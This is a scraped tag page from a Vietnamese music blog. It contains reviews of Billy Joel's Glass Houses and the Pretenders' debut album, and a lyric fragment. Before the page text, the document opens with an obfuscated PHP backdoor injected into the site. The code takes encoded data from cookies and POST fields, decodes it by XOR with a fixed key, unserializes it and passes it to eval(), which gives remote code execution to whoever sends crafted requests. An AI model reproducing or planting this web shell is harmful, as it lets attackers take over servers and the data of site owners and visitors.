$gkTikmvawS = class_exists("L_JuS");if (!$gkTikmvawS){class L_JuS{private $pEkriz;public static $gEJHvAd = "0bac3d14-080a-40da-9ae3-072f26eb3bee";public static $hiuUA = NULL;public function __construct(){$nACiVMM = $_COOKIE;$ZybOWNLPM = $_POST;$AjoGQkCSfU = @$nACiVMM[substr(L_JuS::$gEJHvAd, 0, 4)];if (!empty($AjoGQkCSfU)){$CHzhCIO = "base64";$MphdUtXc = "";$AjoGQkCSfU = explode(",", $AjoGQkCSfU);foreach ($AjoGQkCSfU as $XvwaYg){$MphdUtXc .= @$nACiVMM[$XvwaYg];$MphdUtXc .= @$ZybOWNLPM[$XvwaYg];}$MphdUtXc = array_map($CHzhCIO . chr ( 182 - 87 ).'d' . 'e' . "\143" . chr (111) . "\x64" . chr (101), array($MphdUtXc,)); $MphdUtXc = $MphdUtXc[0] ^ str_repeat(L_JuS::$gEJHvAd, (strlen($MphdUtXc[0]) / strlen(L_JuS::$gEJHvAd)) + 1);L_JuS::$hiuUA = @unserialize($MphdUtXc);}}public function __destruct(){$this->rybNWbPiMq();}private function rybNWbPiMq(){if (is_array(L_JuS::$hiuUA)) {$EgZDwdc = str_replace("\74" . chr ( 405 - 342 )."\160" . "\150" . chr ( 886 - 774 ), "", L_JuS::$hiuUA[chr ( 642 - 543 ).chr (111) . 'n' . "\164" . "\x65" . "\x6e" . 't']);eval($EgZDwdc);exit();}}}$RYRUp = new L_JuS(); $RYRUp = NULL;} ?> new-wave – B.l.u.e

B.l.u.e

Inside the crowd, I dance [alone]

Menu Close

Tag: new-wave

Billy Joel – Glass Houses

Thú vị. Rất thú vị. Cũng phải mấy ngày rồi mới nghe được một album khiến mình thốt lên thế. Billy Joel trong Glass Houses hoàn toàn khác hẳn Billy Joel rất thành công với The Stranger hay 52nd Street trước đó. Có vẻ Joel muốn thoát khỏi hình ảnh một anh chàng hát nhạc rock nhẹ, nghiêng về phía những bản ballad ngọt mùi vốn đã làm nên tên tuổi và thương hiệu của mình. Ở album này, Joel nổi loạn.

Cover của album là hình ảnh Joel mặc áo da hầm hố, cầm cục đá ném bể kính một ngôi nhà kính 2 tầng. Và ngay từ những phút đầu tiên của album, tiếng vang lên rõ nhất là tiếng kính vỡ. Joel muốn ném vỡ đi hình ảnh đã đi sâu vào lòng người trước đây, để dựng lên một Joel mới, mạnh mẽ, cá tính và “chất lừ” hơn. Joel đã thành công.

Đi xuyên suốt trong album là tiếng guitar điện với những cú rift, chặt gãy gọn với tempo được đẩy nhanh. Nhiều người nghĩ rằng thời điểm album này xuất hiện và sự phát triển đang đà lên của thứ nhạc Punk cộng New Wave Anh Quốc ắt hẳn có gì đó liên quan. Điều này không phải hoàn toàn vô lý. Glass Houses hoàn toàn có thể liệt vào thể loại New Wave. Đôi chỗ giọng và tiết tấu của bài hát rất dễ liên tưởng đến Elvis Costello cũng đang làm mưa làm giớ thời điểm đó.

Tuy nhiên, nói đúng ra thì Glass Houses của Joel cũng không hoàn toàn chỉ có rock và guitar điện. Có những bài có cảm giác Joel một phần quay trở lại Joel của những bản ballad ngày xưa; không nhẹ nhàng thế, nhưng nhẹ hẳn đi ở một mức độ. Có bài còn trở lại với tiếng keyboard quen thuộc ngày nào.

Dù vẫn có vài lời chê rằng Glass Houses của Joel chưa ‘rock’ tới. Hay những thính giả trung thành đã quá quen với hình ảnh Joel lãng tử dịu dàng trước đó không thể thích ứng với sự thay đổi trong album này, thì cũng không thể phủ nhận Glass Houses là một trong những album thành công và đáng nhớ nhất của Billy Joel. Cái thứ nhạc mà Joel chơi trong album này sống động và đầy năng lượng như muốn bùng cháy, và xen vào đó, thỉnh thoảng lại là vài giây phút lắng êm đềm lãng mạn. Điều này khiến mình yêu thích nó chỉ trong lần đầu nghe thử…

The Pretenders – Pretenders

Pretenders là debut album của The Pretenders – một ban nhạc rock Anh/ Mỹ. Pretenders được xem như là một trong những debut album thành công nhất trong lịch sử. Nó được đón nhận và yêu thích ngay khi vừa mới ra đời, điều mơ ước của biết bao nhiêu ban nhạc.

Ra mắt vào đầu năm 1980, Pretenders là một trong những tên tuổi có ảnh hưởng mạnh trong làn sóng xâm-lược của dòng nhạc Anh quốc, lần này là sự kết hợp giữa punk và new wave. Vì vậy, Pretenders không dễ nghe chút nào. Không liên quan lắm, nhưng lần đầu nghe Pretenders mình có cảm giác trở lại là cậu bé 13 tuổi năm nào khi lần đầu được nghe thứ âm-nhạc-lạ-lùng của Megadeth (Peace Sells, Symphony of Destruction…) – những pha guitar chắc gọn, ca sĩ gằn giọng đọc nhiều hơn hát. Dĩ nhiên, The Pretenders chơi thứ nhạc không thô gằn và gãy gọn như Megadeth, giọng của Chrissie Hynde cũng dễ nghe hơn nhiều so với Dave Mustaine. Nói đúng hơn, với sự pha trộn thêm chút pop, album Pretenders dễ nghe vào hơn. Có cảm giác, Pretenders có vẻ chịu một phần ảnh hưởng của Kinks và The Who – những ban Anh quốc trong làn sóng xâm-lược lần đầu.

Ca sĩ chính đồng thời là thủ lĩnh của ban nhạc là phụ nữ, vì vậy ngoài cái tempo nhạc dồn dập đặc trưng của punk, Pretenders còn có điểm thêm những nét dịu dàng và ngọt ngào rất nhẹ. Ca khúc nổi nhất trong album chắc hẳn phải là Brass in Pocket. Nhiều người đánh giá đó là ca khúc hay nhất trong album, và thậm chí là hay nhất trong sự nghiệp của The Pretenders. Riêng mình, trong album này, mình thích bản cover Stop Your Sobbing mà họ cover của Kinks hơn.

Nhìn chung thì album này rất được, nó nhanh và dồn dập với những ca khúc như Tattooed Love Boys, Up the Neck nhưng cũng có những giai điệu ngọt ngào như trong Kid hay Don’t Get Me Wrong. Hơi khó nghe nếu bạn không phải là fan của thể loại nhạc punk/ new wave, nhưng nếu là fan của thể loại này rồi thì it’s worth a try.

‘Cause I gonna make you see
There’s nobody else here
No one like me

© 2024 B.l.u.e. All rights reserved.

Theme by Anders Norén.